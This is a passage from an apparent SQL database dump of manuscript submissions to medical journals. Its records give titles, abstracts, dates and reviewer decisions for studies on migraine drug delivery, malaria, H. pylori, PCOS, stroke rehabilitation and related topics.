Benzoate',NULL,14,2,'','Introduction: Mucoadhesives are synthetic or natural polymers, which interact with the mucus layer covering the mucosal epithelial surface and mucin constituting the major part of the mucus The use of a mucoadhesive dosage form for drug delivery via the gastrointestinal mucosal route increases bioavailability and results in a longer therapeutic impact. Migraine is a prevalent headache illness that places a significant financial and social burden on both the patient and society. It is a puzzling condition characterized by pulsating headaches that are usually limited to one side and occur in bouts lasting 4 to 48 hours and is often associated with nausea, vomiting, sensitivity to light, vertigo, loose motions and other symptoms. Material and Methods: The Rizatriptan is a selective 5-hydroxytryptamine receptor subtype agonist acute treatment of migraine attacks with or without aura in adult. Mucoadhesive film was prepared by solvent casting method. In this way, Gastric mucoadhesive Drug Delivery System can delay the retention time of a dosage form in the stomach, consequently working on the oral bioavailability of the medication and decrease in dosing recurrence. Results: All Batches showed low dissolvability of polymer since Ethyl Cellulose Eudragit RLPO isn\'t solvent in water so film was not satisfactory and low collapsing perseverance which prompted film with helpless pliancy and versatility. Out of all cluster, showed great adaptability, collapsing perseverance, high expanding list, mucoadhesive strength and medication discharge so this group was chosen as ideal for factorial design.              ','migraine, Rizatriptan, gastro retentive film, mucoadhesion, solvent casting method, ethyl cellulose, eudragit RLPO',5033,NULL,'2022-02-03',NULL,'Submitted',2,NULL,'2022-11-03',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(12436,12709,45,0,'iphsj-22-12436','Statistical Analysis of Spatial Distribution of Malaria in Ilu Aba Bor Zone, southwest Ethiopia.',NULL,14,2,'Statistical Analysis of Spatial Distribution of Malaria in Ilu Aba Bor Zone, southwest Ethiopia.','Objective: The main objective of this study was to find spatial distribution of malaria and to identify variables that associated with malaria distribution in Ilu Aba Bor Zone, southwest Ethiopia. \r\nResults: The measures of spatial autocorrelation showed that malaria varies according to geographical location and shows significant positive spatial autocorrelation. The results of the negative binomial regression model with spatial dependence show a statistically significant relationship between malaria case counts and independent variables. There is evidence of significant malaria clustering in the Ilu Aba Bor zone, southwest Ethiopia. Model-based data analysis showed that there is a significant relationship between malaria and covariates (rainfall, maximum temperature, midland area, and lowland area).\r\n','Key words: Malaria, Spatial Autocorrelation, Generalized Linear Model and Generalized Linear Mixed Model.',388,NULL,'2022-02-03',NULL,'Submitted',19,NULL,'2022-02-05',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(12452,12718,45,0,'iphsj-22-12452','Microbial Assessment of Surfaces of Canned Drinks Sold Within Federal University of Technology, Owerri, Imo State, Nigeria and Its Associated Health Implications',NULL,14,0,'','Background and Objective: Over the years, numerous studies have been conducted on the possible links between canned drink intake and medical problems. The qualitative assessment of microorganisms on the surfaces of canned drinks sold within FUTO environment and its health implications were evaluated in this study. Materials and Methods: A total of twenty canned drink (alcoholic and non-alcoholic brands) were collected from the refrigerator and the packs of retailer’s shop. Standard microbiological methods were adopted using Gram staining, biochemical tests and lacto phenol cotton blue staining. Results: The canned drinks from refrigerator showed total viable bacterial count which ranged from 20 cfu to 140 cfu while total fungal count ranged from 20 cfu to 40 cfu were recorded. There was no coliform and total Stapylococci count recorded. The canned drinks from the packs showed total viable bacterial count ranged from 20 cfu to 400 cfu, total coliform count recorded ranged from 10 cfu to 40 cfu, while total Staphylococci count ranged from 10 cfu to 40  cfu. Total fungal count ranged from 20 cfu to 80 cfu. Bacillus species had the highest bacterial occurrence while Aspergillus species had the highest fungi occurrence (40.7%). Corynebacterium, Pseudomonas, Bacillus, Klebsiella were resistant to Norfloxacin while Micrococcus species were resistant to chloramphenicol, Norfloxacin and streptomycin. Penicillium and Aspergillus species were resistant to both ketonazole and fluconazole antifungal drugs. The implications of antibiotic resistance on healthcare systems are enormous as resistance leads to limitation of treatment options. Antibiotic resistance leads to higher medical costs, prolonged hospital stays, and increased mortality. Conclusion: This research demonstrated that no relationship exists between the physical appearance of canned drink sold at FUTO and its microbial load. Some of the isolated microbes were of public health importance. There is need to ensure proper washing of the surfaces of canned drinks before refrigeration and consumption.','Canned drinks, Microorganism, Health implications',685,NULL,'2022-02-04',NULL,'Submitted',2,NULL,'2022-04-21',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12454,12182,86,0,'ipaom-22-12454','A Review: Ethnobotany of Various Plants in Respect to Health',NULL,15,3,'Acute Medicine','Ethnobotany is normally characterized as anthropological approach to the botany. With the arrival of human civilization, numerous frameworks of treatment have been grown fundamentally dependent on Plants. The plant-based traditional medical systems continues to give the essential medical care to more than 3/4 of the universes population. In India, the utilization of plants for therapeutic treatment traces all the way back to 5000 years. It was formally recognized that more than 2500 plant species have the medicinal value while more than 6000 plants are estimated to be explored in folk, traditional and herbal medicine. The arid and forest regions of Rajasthan have incredible possibility both from the economic as well as botanical points of view. This paper reviews the work done as such far in the ethnobotany of Rajasthan.','Ethno botany, Heath, Rajasthan, Tradition, Human',5013,NULL,'2022-02-05',NULL,'Submitted',5,NULL,'2022-02-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12457,12724,45,0,'iphsj-22-12457','Impact Of Oral Stimulation Technique Upon The Outcomes Of Premature Neonates In Terms Of Weight Gain And Duration Of Hospitalization In Selected Pediatric Care Area of Rajasthan.',NULL,14,0,'','Healthy children are the greatest resource and proud of a nation. Investment in childcare is an investment in future of nation because \"today\'s children are adult of tomorrow\". Children ought to be healthy and happy to become productive and contented adults of the future. To give them happy and healthy childhood, we must safeguard their total health, right from the beginning. More than 8.1million newborns of India have low birth weight (less than 2500 grams or 5.5 pounds). In India 30 present infants born are low birth weight baby. They have high chances of dying within the first 28 days of life. Oral feeding problems in preterm infants are of growing concern over the world: cases of breast- or bottle-feeding failures often result in delayed hospital discharge, maternal stress and long-term health problems. Hence a Study was conducted on Impact Of Oral Stimulation Technique Upon The Outcomes Of Premature Neonates In Terms Of Weight Gain And Duration Of Hospitalization In Selected Pediatric Care Area Rajasthan. A quasi-experimental design (non-equivalent control group pretest-posttest design) was used without a control group on 550 premature neonates in selected pediatric care area Rajasthan state. The technique used in the study is Non-probability convenient sampling technique and Major findings shows In Terms Of Weight Gain obtained by Premature Neonates in Post-Exposure Weight (Grams) (2217.07) is higher than Pre- Exposure Weight (Grams) 2051.23 of experimental group. Whereas in control group Weight Gain obtained by Premature Neonates in Post-Exposure Weight (2039.48) is less high than Pre- Exposure Weight (Grams), which show the weight control group is a natural phenomenon of gaining weight. This may show that oral stimulation techniques have significant effect upon weight gain in experimental group. ','Key Words: Premature Neonates, Weight Gain, Oral Stimulation.',4048,NULL,'2022-02-05',NULL,'Submitted',2,NULL,'2022-05-13',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12464,12733,277,0,'ipadm-22-12464','Síndrome de Gerstmann como manifestación de evento cerebrovascular isquémico ',NULL,2,0,'','Resumen:\r\n\r\nIntroducción: El Síndrome de Gerstmann es una patología neurológica poco frecuente que clínicamente se manifiesta con síntomas dados por acalculia, agrafia, agnosia digital y desorientación entre derecha e izquierda. Las lesiones afectan el lóbulo parietal en su región posterior del hemisferio dominante, en la mayoría de los casos resulta ser el izquierdo, pero en menor proporción el derecho. Existen múltiples condiciones que pueden desencadenar este síndrome. \r\n\r\nCaso clínico: Se presenta un caso clínico de un paciente de 66 años de edad con antecedentes de espasmo hemifacial izquierdo,  sedentarismo, tabaquismo y alcoholismo ocasional, quien consulta por cuadro clínico consistente en desorientación, lenguaje incoherente, postura tónica de hemicuerpo derecho. En la exploración neurológica se encuentra agnosia digital, discalculia, astereognosia y apraxia. Se realiza imagen de TAC de cráneo sin contraste con lesión hipodensa en región parietal izquierda compatible con accidente cerebrovascular isquémico. \r\n\r\nConclusión: El caso presentado muestra la relevancia de conocer las múltiples manifestaciones de las lesiones cerebrales que comprometen zonas específicas de los lóbulos parietal y occipital. La mayoría de síndromes neurovasculares isquémicos son de predominio motor, son pocos los casos reportados que configuran este síndrome de la etiología referida.\r\n','',2805,NULL,'2022-02-07',NULL,'Submitted',2,NULL,'2022-06-23',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12491,12762,73,0,'ipjnn-22-12491','Descending GBS – a unique presentation ',NULL,2,0,'','Guillain-Barré syndrome and its variants form a continuous spectrum of overlapping syndromes.  A 15-year-old caucasian male patient previously well presented with a week history of body weakness, vomiting and neck pain, (pre Covid pandemic). Further history noted that he suffered multiple infantile apnoeic attacks with mild cognitive impairment. He disclosed that he had an upper respiratory infection 3 weeks prior treated with fluroquinolones by a general practitioner. On examination he was noted to be febrile. Positive finding included terminal neck stiffness and a sinus tachycardia. All other systems and vitals were normal. Initial CTB was normal with an unremarkable lumbar puncture. \r\n\r\nDay 5 of admission the patient developed bulbar symptoms; a repeat LP was done where albuminocytogical dissociation was noted. Higher mental function normal, bilateral facial nerve palsy, facial diplegia with decrease palatal movement, an absent gag reflex. It was noted that the patient had significant proximal weakness of upper and lower limbs. Deep tendon reflexes were all decreased with no sensory fallout and no cerebellar signs. \r\n\r\nDiagnosis of a rare regional variant of Guillan Barre Syndrome (GBS) was clinically made. Immunoglobulin was commenced. The patient responded rapidly to treatment.\r\n','GBS, Variant GBS, atypical GBS, bifacial weakness, facial diplegia, bulbar GBS, oropharyngeal and limb GBS',345,NULL,'2022-02-09',NULL,'Submitted',2,NULL,'2022-03-03',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12493,9086,73,0,'ipjnn-22-12493','Reproductive health, social and financial impact of valproic acid Withdrawal for childbearing epileptic Saudi woman',NULL,15,0,'','Epilepsy complicates a woman`s reproductive life. The physiological modification of the woman and the effects of antiepileptic drugs are generally the cause. Several complications may be added during treatment that requires careful monitoring . The risks in women of childbearing age associated with prenatal Valproic acid drug (VPA) exposure are becoming established  and updated recommendations are being made internationally for restrictions to (VPA) use and enhanced preconception counseling in this patient group.\r\nTo minimize these complications we implement same protocol in the different hospital departments to assure high quality of care for childbearing age women. As a result we remark a decrease number of patients using (VPA) and improvement of the quality of reproductive health and per consequence reducing hospital and social costs.','childbearing age women, epilepsy, valproic acid, Depakin complication, hospital and social cost,',328,NULL,'2022-02-09',NULL,'Submitted',2,NULL,'2022-03-07',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(12494,12764,277,0,'ipadm-22-12494','COLCHICINE AND ITS ROLE IN KIDNEY DISEASES ACCORDING TO CLINICAL EVIDENCE',NULL,19,0,'','La colchicina (COL) es un producto natural que se puede extraer de dos plantas de la familia de las azucenas, es decir, del género Colchicum (normalmente llamado Colchicum autumnale) y de Gloriosa superba, se realiza una minuciosa revisión de la evidencia clinica para entender la importancia de la colchicina en las enfermedades renales, concluyéndose que se debe realizar más pruebas y ensayos experimentales  de la colchicina con el fin de valorar  la respuesta de este fármaco  en las  enfermedades  renales y así poder establecer futuras dianas terapéuticas .','Colchicina\r\nRevisión\r\nClínica\r\nEnfermedades renales\r\n\r\n\r\n',5023,NULL,'2022-02-09',NULL,'Submitted',2,NULL,'2022-04-20',NULL,1,1,'1','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(12497,12734,45,0,'iphsj-22-12497','A New TQM Model for the Postmodern Organisation',NULL,15,1,'Special issue on Health Care Management','During the latter part of the 20th century, total quality management (TQM) emerged as a global phenomenon for improving organisational performance in Health care. Yet, despite its extraordinary dominance, most TQM initiatives were unsuccessful, leading to its decline by the early part of the 21st century. This paper explores the development of a new TQM based model that can address the conceptual and implementation issues of health care in conventional TQM. By integrating contemporary organisational concepts with TQM, a new quality framework, called EALIM—ethical, adaptive, learning and improvement model—was devised by health organisation. EALIM’s framework presents an essential broadening conception of TQM that could yield increased success, since it is more suited to a postmodern context. In addition to being a meaningful contribution to TQM, this paper offers a broader understanding of organisational processes and decision-making, since any one organisational concept only offers a restricted view of a complex phenomenon. The development of EALIM also provides researchers the prospect of examining its applicability within a variety of settings regarding health issues','Total quality management; Quality improvement; excellence of health centre; Corporate social responsibility; Complexity theory; Knowledge of health management; Health care development',686,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2022-03-09',NULL,1,1,'0','should be accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(12499,11827,996,0,'ipar-22-12499','Signs and Symptoms of Ankylosing Spondylitis',NULL,5,0,'','Ankylosing spondylitis (AS) is a kind of arthritis that causes long-term inflammation of the spine\'s joints. The joints where the spine meets the pelvis are frequently impacted. Other joints, such as the shoulders or hips, are occasionally involved. Eye and gastrointestinal issues are also possible. Back discomfort is a common symptom of AS, and it comes and goes. Ankylosing spondylitis has a lengthy history, with Galen distinguishing it from rheumatoid arthritis as early as the 2nd century AD [1]. Skeletal evidence of the disease (ossification of joints and entheses particularly of the axial skeleton, known as \"bamboo spine\") was thought to be discovered in the skeletal remains of a 5000-year-old Egyptian mummy [2].','',3649,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2022-08-30',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12500,11831,996,0,'ipar-22-12500','Rheumatoid Arthritis: An Autoimmune Disorder',NULL,5,0,'','','',3649,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12501,11828,996,0,'ipar-22-12501','Cerebral Vasculitis: Background and Diagnosis',NULL,5,0,'','Vasculitis is a group of diseases characterised by inflammation that destroys blood vessels. Atherosclerosis affects both arteries and veins. Lymphangitis (inflammation of lymphatic vessels) is sometimes thought to be a kind of vacuities. Vasculitis is primarily triggered by leukocyte migration and the damage that results. Although both occur in vasculitis, inflammation of the veins (phlebitis) or arteries (arteritis) are distinct diseases. Cerebral vasculitis is a relatively uncommon cause of juvenile stroke. ','Ankylosing Spondylitis\r\nBone\r\nBursitis\r\nCalf Muscle Pain\r\nChronic Knee Pain\r\nDolor Lumbar',3649,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2022-07-29',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12502,11829,996,0,'ipar-22-12502','Significance of Monocytes & Macrophages in Spondyloarthritis',NULL,5,0,'','Spondyloarthritis (SpA) is a collection of chronic inflammatory illnesses that mostly affect the spine and joints, with the sacroiliac joint being the most commonly implicated [1]. These diseases, which affect about 1% of the global population, cause serious ailments, suffering, disability, resulting in significant health and economical concerns [2]. In contrast to other rheumatic diseases such as rheumatoid arthritis (RA) and systemic lupus erythematosus (SLE), the prevalence of spondylarthritis is equivalent in males and females, and the disease\'s beginning (third-fourth decade) occurs sooner than in other rheumatic joint diseases. The innate immune system cells are the initial line of defence against infections. Mucosal-associated invariant T (MAIT) cells, invariant natural killer T (iNKT) cells, gamma delta T cells (T cells), innate lymphoid cells (ILCs), neutrophils, mast cells, eosinophils, and monocytes and macrophages are among these cell types [3]. Monocytes and macrophages play an important role in the activation of the innate immune system, releasing inflammatory cytokines such as TNF, IL-6, IL-1, and chemokines after pathogen detection, which activate and attract other immune cells to the inflammation sites [4].','',3649,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2022-08-29',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12503,11830,996,0,'ipar-22-12503','Editorial on Musculoskeletal Infections in Children',NULL,5,0,'','','',3649,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(12506,12771,45,0,'iphsj-22-12506','Effect of Modified Constraint Induced Movement Therapy on motor performance and daily functions in patients one to nine months after stroke. ',NULL,14,0,'','Kindly see the attached abstract','',456,NULL,'2022-02-10',NULL,'Submitted',2,NULL,'2022-04-19',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12518,12785,73,0,'ipjnn-22-12518','Recurrence of Acute Migraine following Ubrogepant and Diclofenac buffered solution Combination Therapy-an observational study',NULL,14,0,'','Objective\r\nTo analyze the need for a repeat dose following administration of a single fixed combination dose of ubrogepant and diclofenac potassium buffered solution for an acute migraine attack, \r\nBackground\r\nA relapse after pain freedom/relief from a migraine abortive is an acute treatment failure. Reduction of acute disability and prevention of chronification is dependent on effective, rapid, complete abortive treatment without adverse effects. \r\nMethods	\r\nUbrogepant 100 mg tabs and diclofenac potassium buffered solution 50mg powder (UBR/DICb) are both FDA approved for acute migraine therapy. Twenty-three subjects, 22 female, 1 male with episodic or chronic migraine with and without aura were instructed take both agents within 15 minutes of the migraine attack. Pain freedom and pain relief at 2 hrs. were recorded and need for repeat dose for relapse was the primary efficacy outcome measure for this study. Relief of most bothersome symptoms (MBS)-nausea, photophobia, phonophobia, and adverse effects were also recorded. Observation for need for repeat dosing was extended to 24hrs. Preventives were permitted. \r\nResults\r\nTwo hours following a single fixed dose of UBR/DICb, 96% of the enrolled study patients were pain free or obtained pain relief with no need for a second dose, and 4% did not respond. Of the 23 patients enrolled in the study, 87% experienced pain freedom with no need for redosing, ( CI 95% (0.7, 1.0), and 9%  had pain relief with no need for redosing ( CI 95% (-0.02, 0.2), and 4% had no pain relief or freedom and no response to redosing ( CI 95% (-0.04, 0.12)). Reduction in MBS paralleled pain reduction in our study cohort. None of the responders required a second dose of UBR/DICb for the next 24hrs. (Table)\r\nConclusions\r\n\r\nAt 2 hours, all pain free and pain relief responders to single dose combination ubrogepant and diclofenac buffered solution did not need a repeat dose. Sustained efficacy without redosing necessity is maintained for 24hrs. Single dose combination ubrelvy/diclofenac buffered solution resulted in a significant reduction in need for a second dose than ubrelvy alone from previously published studies. This small observational study will need to be validated in placebo controlled larger studies. \r\n','ubrogepant, diclofenac, relapse',329,NULL,'2022-02-13',NULL,'Submitted',2,NULL,'2022-03-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12521,12788,45,0,'iphsj-22-12521','Analysis of molecular mimicry between autoantigens involved in membrane nephropathy and bacterial antigens',NULL,14,0,'','\r\n Membranous nephropathy, is known as one of the most common causes of nephrotic syndrome. It is characterized by massive proteinuria (> 3.5 g / day), peripheral edema,	hypertension, foamy urine and manifestations of thromboembolic phenomena. Its incidence is 5-10 cases per million inhabitants per year.  In this pathology, there is a thickening on a glomerular basement membrane segment and a lesion of the podocytes. It is caused by the presence of autoantibodies against specific antigens, causing these immune complexes to deposit on the external face of the glomerular basement membrane.','analysis, molecular mimcry, bacterial antigens.',688,NULL,'2022-02-16',NULL,'Submitted',2,NULL,'2022-03-10',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12522,12789,73,0,'ipjnn-22-12522','Computerized Working Memory Training and Cortex Neuroplasticity: A review article',NULL,15,0,'','Sufficient and effective computerized working memory training can lead to an increase in the brain activity especially in a neural network underlying working memory, by increasing levels of neurotransmitters such as dopamine, that causes neuroplasticity which activates transferring of effects to near and far cognitive tasks, the great effects of computerized training can be adapted automatically with the performance level of subjects; to optimize training effects.','Working memory (WM),\r\n Computerized training,\r\n Neuroplasticity,\r\n Dual n-back training.',352,NULL,'2022-02-16',NULL,'Submitted',2,NULL,'2022-03-28',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12523,12790,86,0,'ipaom-22-12523','Evidence-Based Approach to Fever and Fever of Unknown Origin in Fiji',NULL,2,0,'',' Fiji, a South Pacific Country is an archipelago of more than 300 islands.With an approximate population of 889,953,Fiji faces a growing burden of several communicable diseases and non-communicable disease including fever of unknown origin. Surveillance data suggest that Fever has become increasingly common in rural areas of Fiji and is more frequent amongst acute respiratory infections,dengue and viral infections. Appropriate measures are taken by the Ministry of Health Fiji to reduce the potential for relapse and reinfection in clinical cases, by encouraging proper hand hygiene of food and drink handlers, water and sanitation agencies to review current sanitation practices and vaccination policy targeting epidemiologically relevant populations.This article initial aim is to examine fever of unknown origin around the Pacific and Fiji but due to limited data available we mainly focus on cases of diseases that have at least fever as one of the associated symptoms in 2018 within the four divisions of Fiji namely the Northern,Central,Eastern and Western regions.A retrospective study with data obtained from the Fiji Ministry of Health 2018 and National Notifiable Disease Surveillance System Weekly Bulletin. Acute respiratory infection is the leading cause of FUO and fever in Fiji with an average of 64% cases in 2018 followed by Dengue at 14%. Patient in significant numbers continue to present fever/FUO due to a wide range of diseases. Future prospective data collection is recommended to identify the cause and trends, which inform the Ministry of Health and future research priorities hence allowing the development of appropriate policies and clinical guidelines for management of fever/FUO.','Fiji, Pacific,Dengue,Fever,Fever of UnknownOrigin (FUO), Pyrexia of unknown Origin (PUO),Viral infections (Viral illness infection),Acute Respiratory Infection(ARI)',3031,NULL,'2022-02-16',NULL,'Submitted',2,NULL,'2022-08-25',NULL,1,1,'0','Good written paper. I feel it could be published in its present form',0,'','',NULL,0,0,0,NULL,0),(12530,12800,45,0,'iphsj-22-12530','The influence of core training in cardiorespiratory hospitalized patients – case report',NULL,2,0,'','Purpose: Evaluate the influence of core training on functionality and peak cough flow in hospitalized patients. \r\nMethods: Core training was applied 3 times to 5 patients and consisted of 4 exercises (lateral trunk rotation with swiss ball in hand and throwing the ball; squatting to pick up the swiss ball from the floor; sitting on a chair, perform hip flexion; sitting on the edge of the chair, lean back and return to the starting position). The progression of patients was assessed through the tests: Supine Bridge Test (SBT), Flexor fatigue Test (FFT), Peak Cough Flow (PCF) and Short Physical Performance Battery (SPPB) and during the course of the sessions it was continuously monitored saturation (SpO2), heart rate (HR) and dyspnea with modified borg scale (MBS).\r\nResults: All patients obtained improvements in FFT, PCF and SPPB. 4 out of 5 patients achieved improvements in SBT.\r\nConclusion: Core training appears to have positive results in improving functionality and values of cough peak flow in hospitalized patients.\r\n\r\n','Core muscles; functional capacity; peak cough flow; hospitalized patients; case report',3430,NULL,'2022-02-22',NULL,'Submitted',2,NULL,'2022-07-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12548,12811,971,0,'ipaclr-22-12548','Simultaneous determination of homocysteine, cysteine, glycine, glutamic acid, methionine, serine and taurine in human plasma by using reverse phase – high performance liquid chromatography ',NULL,17,0,'','Alterations in the plasma aminothiol levels can be considered as biomarkers for the diagnosis and screening of human disorders namely cardiovascular diseases. Among the common method, ELISA is available for homocysteine estimation, the analytical method like HPLC is considering as a gold standard. In the proposed study, we have developed a RP-HPLC method for the simultaneous determination of homocysteine, cysteine, glycine, glutamic acid, methionine, serine and taurine in human plasma using fluorescence detector. Separation was achieved on C18 column with gradient elution using 80% methanol, 0.05 M acetate buffer (pH 7.0) and the column was maintained at 26°C and the mobile phase was pumped at flow rate of 1.0 mL min-1. The detection of eluent was carried out at fluorimetrically (excitation 340 nm, emission 450 nm) with a total run time 30 min. The calibration curve ranged from 25 to 100 ng/mL for all the analytes. Inter and intraday precision and accuracy, stability studies and sample reanalysis were investigated for all the analytes, and the results met the acceptance criteria.  This method will be a useful tool in the investigation of the roles of these important thiol-containing compounds and their corresponding disulfides in physiological and pathological processes.','Amino acids; Homocysteine; Fluorescence detector; Eales’ disease; Age related macular degeneration. ',3249,NULL,'2022-02-25',NULL,'Submitted',2,NULL,'2022-05-05',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(12554,12819,45,0,'iphsj-22-12554','Burdens and predictors of Helicobacter pylori infection in Southern Ethiopia; a cross-sectional study',NULL,14,0,'','Abstract\r\nBackground \r\nHelicobacter pylori is one of the public health important bacteria that affected more than half of the global population. It is a primary cause of several gastrointestinal diseases and associated with the increased risk of developing gastric carcinoma. Determination of updated data on the burden of the infection and its predictors was important to plan and design effective intervention measures to prevent gastrointestinal complications and public health impacts. Hence, this study aimed to determine the prevalence of H. pylori infection and its predictors among dyspeptic patients attending Wolkite University specialized hospital from September to December, 2020.\r\nMethod and materials \r\nA facility-based cross-sectional study was conducted among 316 dyspeptic patients who attending the hospital during the study periods. Socio-demographic and other related data were collected using structured questionnaires. Stool specimen was collected and H. pylori stool antigen was detected by Wondfo H. pylori test kit The data was entered and analyzed by using SPSS version 22. Binary logistic regression analysis was performed to identify predictors variables, where a p-value <0.05 was considered statistically significant.  \r\nResults\r\nThe overall prevalence of H. pylori infection detected by stool antigen among study participants was 36.4% (95%CI: 31.0-39.9). Older age (AOR(adjusted odds ratio) (95%CI): 4.9(1.35,7.88), rural residence (AOR (95%CI): 2.7(1.49,4.9), larger family size (AOR(95%CI): 2.17(1.22,3.85), alcohol consumption (AOR(95%CI): 2.72(1.58,4.69), smoking cigarette (AOR(95%CI):2.29(1.22,4.3), and absence of washing hand after toilet (AOR(95%CI):3.46(1.86,6.44) were independent predictors of H. pylori infection among study participants.\r\nConclusion \r\nIn the current study area, high (36.4%) prevalence of H. pylori infection was observed among dyspeptic patients. Rural residence, older age, larger family size, absence of hand washing after toilet, the habit of alcohol consumption, and smoking cigarettes were significantly identified predictors of H. pylori infection. The finding of this study could be considered to design and implement intervention measures on identified predictors of the H. pylori infection among study participants. Moreover, provision of health educations on hygienic practices and behavioral factors of the study participants could aid to reduce the H. pylori infection rate. \r\n','Helicobacter pylori, predictors, Wolkite, Southern Ethiopia',4912,NULL,'2022-02-27',NULL,'Submitted',2,NULL,'2022-05-16',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(12562,12829,326,0,'IPJUS-22-12562','Tension Pyothorax: A rare thoracic emergency',NULL,2,0,'','A 54-year-old woman presented with shortness of breath and cough of five day’s \r\nduration. Two weeks earlier she was evaluated for cough and fever. She was treated for a community acquired pneumonia. At that time, a left sided thoracentesis was done for moderate pleural exudative pleural effusion. Pleural fluid analysis revealed a parapneumonic sterile effusion. The physical examination revealed a blood pressure of 80/52 mmHg, a heart rate of 120 beats per minute,  a respiratory rate of 32 per minute, a temperature of 102 degrees Fahrenheit, and pulse oximetry at 88% in room air. On clinical examination, no air entry was noted over the left lung. A chest x-ray showed a massive left-sided pleural effusion (Figure 1) with deviated trachea and mediastinal structures. A chest tube was placed and 1.5 liters (L) of frank pus was evacuated immediately (Figure 2). Patient’s hemodynamics immediately return to normal parameters after tube thoracostomy. A total of 3 L of pus have been evacuated slowly over 48 hours (Figure 3). A sample from pleural fluid grew Staphylococcus aureus. A brand spectrum intravenous antibiotic was started immediately after the procedure and later was modified according to the culture’s sensitivity results. When the patient’s clinical and laboratory results normalized, he was then discharged on oral antibiotic. At 3 month follow up, the patient was doing well.\r\n\r\nComment\r\nTension prothorax is rare and may occur as a complication of pneumonia or lung abscess (1). The accumulation of pus within the pleural cavity under pressure and in large volume may be sufficient to cause hemodynamic compromise and respiratory distress. The physiologic derangement is similar to that seen in tension pneumothorax. Increased intrathoracic pressure results in markedly decreased  venous return as well as  cardiac output. Typical clinical presentation includes fever, tachycardia, cough, dyspnea, and chest pain. Urgent treatment is life-saving and entails immediate pleural fluid drainage through a chest tube (2).  After drainage, treatment of underlying infection by appropriate antibiotic is essential (3). Pyothorax is more common in immunocompromised patients like patient with HIV infection (4). \r\nGiven the serious progression and evolving nature of this case, it seems reasonable to consider tension prothorax as a cause of emergent cardiac arrest with excellent outcome after proper management.\r\n','Tension, Pneumothorax, Chest, Emergency.',2505,NULL,'2022-03-01',NULL,'Submitted',2,NULL,'2022-07-20',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(12565,12833,277,0,'ipadm-22-12565','Determinación de diagnósticos de pacientes ingresados al servicio de urgencias de un hospital infantil en colombia por intento de suicidio y su relación con alteraciones de salud mental',NULL,14,0,'','RESUMEN:\r\nINTRODUCCIÓN: El suicidio se reconoce como un problema destacado de salud pública, tanto globalmente, como en la región de Latinoamérica y el Caribe.\r\nOBJETIVO: Caracterizar la población de pacientes ingresados al servicio de urgencias del Hospital Infantil Napoleón Franco Pareja por intento de suicidio durante el periodo anual 2018 y primer semestre del 2019\r\nMETODOLOGÍA: Estudio descriptivo de corte transversal, en el que se analizaron los registros médicos de los pacientes ingresados al Hospital Infantil Napoleón Franco Pareja de la ciudad de Cartagena, Colombia, durante el periodo anual de 2018 y primer semestre del 2019 por intento de suicidio.\r\nRESULTADOS: A pesar que en 2018 la población fue mayor que en el año en curso, por el tiempo estudiado, es evidente que sigue aumentando la tasa de mortalidad tomando como referencia que la mayoría de los mismos ya han presentado episodios previos, siendo ingresados por el servicio en estos dos años un porcentaje del 73%, analizando que de los 74 pacientes, 72 tienen antecedentes de salud mental, correspondiendo a un 97% de la población, prevaleciendo la toma de medicamentos como como instrumento o arma para suicidarse, correspondiendo a un 45% de la población, seguido de un 12% al uso de químicos y 5% por uso de armas cortopunzantes.\r\n','PALABRAS CLAVES: Suicidio, Infantil, Hospital, Salud mental.',5022,NULL,'2022-03-02',NULL,'Submitted',2,NULL,'2022-05-25',NULL,1,1,'1','Accepted, also send us the response to the reviewer.',0,'','',NULL,0,0,0,NULL,0),(12570,12839,86,0,'ipaom-22-12570','EVALUATION OF SPECTRUM OF CLINICAL PRESENTATION AND ROLE OF AMH IN WOMEN WITH PCOS ATTENDING THE GYNAE-OBS OPD OF A TERTIARY CARE HOSPITAL',NULL,14,0,'','Background: Polycystic ovarian syndrome (PCOS) is an endocrine disorder that affects reproductive females worldwide and has a 10% prevalence. The major endocrine disruption is hyperandrogenism, oligo-anovulation and some women may also have abnormal insulin activity.1 Various body systems are affected by polycystic ovarian syndrome which results in health complications like menstrual dysfunction, hirsutism, acne, obesity, and metabolic syndrome1. \r\nAim: This study emphasizes on evaluating the spectrum of clinical presentation of PCOS and Role of AMH in women with PCOS attending the Gynae-Obs Out-patient department of a tertiary care hospital.\r\nMethodology: A prospective observational study was carried out in the Gynaecology & Obstetrics OPD at SMI Hospital, Dehradun. A self-designed questionnaire-based study was conducted on subjects with symptoms of Polycystic Ovarian Syndrome. \r\nData collection: The data collected included: Demographic details, Family History, Gynecological History, Clinical features, Personal Habits. Microsoft Excel and SPSS 25 software was used for the calculations.\r\nResults: The incidence rate of PCOS, the mean age of women diagnosed with PCOS and mean of menarche were 